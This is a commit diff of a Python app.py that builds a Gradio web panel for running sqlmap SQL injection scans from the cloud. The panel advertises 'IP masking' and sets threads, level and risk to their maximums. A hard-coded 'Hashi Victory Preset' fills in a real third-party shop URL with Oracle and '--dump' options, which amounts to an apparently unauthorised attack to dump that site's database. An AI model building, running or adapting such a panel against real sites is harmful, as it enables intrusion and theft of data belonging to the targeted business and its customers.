AlphaWolf commited on
Commit Β·
947cf8b
1
Parent(s): 4b5c6a0
Build Advanced Premium Gradio Panel
Browse files
app.py
CHANGED
|
@@ -1,36 +1,114 @@
|
|
| 1 |
import gradio as gr
|
| 2 |
import subprocess
|
| 3 |
import os
|
|
|
|
|
|
|
| 4 |
|
| 5 |
-
def run_sqlmap(url, threads, level, risk, tamper, techn):
|
| 6 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 7 |
if tamper:
|
| 8 |
cmd += ["--tamper", tamper]
|
| 9 |
if techn:
|
| 10 |
cmd += ["--technique", techn]
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 11 |
|
| 12 |
-
|
| 13 |
-
|
| 14 |
-
|
| 15 |
-
|
| 16 |
-
yield output
|
| 17 |
-
|
| 18 |
-
iface = gr.Interface(
|
| 19 |
-
fn=run_sqlmap,
|
| 20 |
-
inputs=[
|
| 21 |
-
gr.Textbox(label="Target URL"),
|
| 22 |
-
gr.Slider(minimum=1, maximum=10, step=1, value=5, label="Threads"),
|
| 23 |
-
gr.Slider(minimum=1, maximum=5, step=1, value=1, label="Level"),
|
| 24 |
-
gr.Slider(minimum=1, maximum=3, step=1, value=1, label="Risk"),
|
| 25 |
-
gr.Textbox(label="Tampers (comma separated)"),
|
| 26 |
-
gr.Textbox(label="Technique (e.g. U for UNION)")
|
| 27 |
-
],
|
| 28 |
-
outputs=gr.Code(label="SQLMAP Output"),
|
| 29 |
-
title="SLMP Cloud Runner - Ultra Speed",
|
| 30 |
-
description="Deploy SQLMAP in the cloud for maximum bandwidth and IP masking."
|
| 31 |
-
)
|
| 32 |
|
| 33 |
if __name__ == "__main__":
|
| 34 |
if not os.path.exists("sqlmap-dev"):
|
|
|
|
| 35 |
subprocess.run(["git", "clone", "--depth", "1", "https://github.com/sqlmapproject/sqlmap.git", "sqlmap-dev"])
|
| 36 |
-
|
|
|
|
|
|
|
|
|
| 1 |
import gradio as gr
|
| 2 |
import subprocess
|
| 3 |
import os
|
| 4 |
+
import signal
|
| 5 |
+
import time
|
| 6 |
|
| 7 |
+
def run_sqlmap(url, threads, level, risk, tamper, techn, proxy, extra_args):
|
| 8 |
+
if not url:
|
| 9 |
+
yield "β Error: Target URL is required."
|
| 10 |
+
return
|
| 11 |
+
|
| 12 |
+
# Base command
|
| 13 |
+
cmd = ["python3", "sqlmap-dev/sqlmap.py", "-u", url, "--batch"]
|
| 14 |
+
|
| 15 |
+
# Performance & Level
|
| 16 |
+
cmd += ["--threads", str(int(threads))]
|
| 17 |
+
cmd += ["--level", str(int(level))]
|
| 18 |
+
cmd += ["--risk", str(int(risk))]
|
| 19 |
+
|
| 20 |
+
# Specific options
|
| 21 |
if tamper:
|
| 22 |
cmd += ["--tamper", tamper]
|
| 23 |
if techn:
|
| 24 |
cmd += ["--technique", techn]
|
| 25 |
+
if proxy:
|
| 26 |
+
cmd += ["--proxy", proxy]
|
| 27 |
+
if extra_args:
|
| 28 |
+
# Split extra args carefully
|
| 29 |
+
cmd += extra_args.split()
|
| 30 |
+
|
| 31 |
+
yield f"π Launching SQLMAP Cloud Runner...\nπ°οΈ Command: {' '.join(cmd)}\n\n"
|
| 32 |
+
|
| 33 |
+
try:
|
| 34 |
+
process = subprocess.Popen(
|
| 35 |
+
cmd,
|
| 36 |
+
stdout=subprocess.PIPE,
|
| 37 |
+
stderr=subprocess.STDOUT,
|
| 38 |
+
text=True,
|
| 39 |
+
bufsize=1,
|
| 40 |
+
universal_newlines=True
|
| 41 |
+
)
|
| 42 |
+
|
| 43 |
+
full_log = ""
|
| 44 |
+
for line in process.stdout:
|
| 45 |
+
full_log += line
|
| 46 |
+
yield full_log
|
| 47 |
+
|
| 48 |
+
process.wait()
|
| 49 |
+
if process.returncode == 0:
|
| 50 |
+
yield full_log + "\nβ
Scan completed successfully."
|
| 51 |
+
else:
|
| 52 |
+
yield full_log + f"\nβ οΈ Scan stopped with return code {process.returncode}."
|
| 53 |
+
|
| 54 |
+
except Exception as e:
|
| 55 |
+
yield f"β Fatal Error: {str(e)}"
|
| 56 |
+
|
| 57 |
+
# Pre-filled shortcuts
|
| 58 |
+
def set_hashi_victory():
|
| 59 |
+
return (
|
| 60 |
+
"https://hashi.ae/shop/page/4/?add-to-cart=638",
|
| 61 |
+
10, 5, 3,
|
| 62 |
+
"", "U", "",
|
| 63 |
+
"--dbms=Oracle --dump"
|
| 64 |
+
)
|
| 65 |
+
|
| 66 |
+
with gr.Blocks(theme=gr.themes.Soft(primary_hue="blue", secondary_hue="slate")) as demo:
|
| 67 |
+
gr.Markdown("# π SLMP Cloud Runner - Ultra Speed π©οΈ")
|
| 68 |
+
gr.Markdown("Deploy SQLMAP in the cloud for maximum bandwidth and IP masking. Designed for the Alpha Wolf.")
|
| 69 |
+
|
| 70 |
+
with gr.Row():
|
| 71 |
+
with gr.Column(scale=2):
|
| 72 |
+
url_input = gr.Textbox(label="π― Target URL", placeholder="https://example.com/page.php?id=1")
|
| 73 |
+
|
| 74 |
+
with gr.Tabs():
|
| 75 |
+
with gr.TabItem("π Performance"):
|
| 76 |
+
with gr.Row():
|
| 77 |
+
threads_input = gr.Slider(minimum=1, maximum=10, step=1, value=10, label="Threads")
|
| 78 |
+
level_input = gr.Slider(minimum=1, maximum=5, step=1, value=5, label="Level")
|
| 79 |
+
risk_input = gr.Slider(minimum=1, maximum=3, step=1, value=3, label="Risk")
|
| 80 |
+
|
| 81 |
+
with gr.TabItem("π‘οΈ Advanced"):
|
| 82 |
+
tamper_input = gr.Textbox(label="π§ͺ Tampers", placeholder="space2comment,randomcase")
|
| 83 |
+
techn_input = gr.Textbox(label="π‘ Technique", placeholder="U (UNION), B (Blind), etc.")
|
| 84 |
+
proxy_input = gr.Textbox(label="π Proxy (Optional)", placeholder="http://127.0.0.1:8080")
|
| 85 |
+
extra_input = gr.Textbox(label="βοΈ Extra Arguments", placeholder="--dbms=Oracle --dump --batch")
|
| 86 |
+
|
| 87 |
+
with gr.Row():
|
| 88 |
+
btn_run = gr.Button("π₯ START SCAN", variant="primary")
|
| 89 |
+
btn_hashi = gr.Button("π° Hashi Victory Preset", variant="secondary")
|
| 90 |
+
btn_stop = gr.Button("π STOP", variant="stop")
|
| 91 |
+
|
| 92 |
+
with gr.Column(scale=3):
|
| 93 |
+
output_log = gr.Code(label="π LIVE CLOUD LOGS", language="markdown", interactive=False, lines=30)
|
| 94 |
+
|
| 95 |
+
# Event handlers
|
| 96 |
+
btn_run.click(
|
| 97 |
+
fn=run_sqlmap,
|
| 98 |
+
inputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input],
|
| 99 |
+
outputs=output_log,
|
| 100 |
+
queue=True
|
| 101 |
+
)
|
| 102 |
|
| 103 |
+
btn_hashi.click(
|
| 104 |
+
fn=set_hashi_victory,
|
| 105 |
+
outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input]
|
| 106 |
+
)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 107 |
|
| 108 |
if __name__ == "__main__":
|
| 109 |
if not os.path.exists("sqlmap-dev"):
|
| 110 |
+
print("π₯ Cloning SQLMAP Repository...")
|
| 111 |
subprocess.run(["git", "clone", "--depth", "1", "https://github.com/sqlmapproject/sqlmap.git", "sqlmap-dev"])
|
| 112 |
+
|
| 113 |
+
print("β¨ SLMP Panel Live.")
|
| 114 |
+
demo.queue().launch(server_name="0.0.0.0", server_port=7860)
|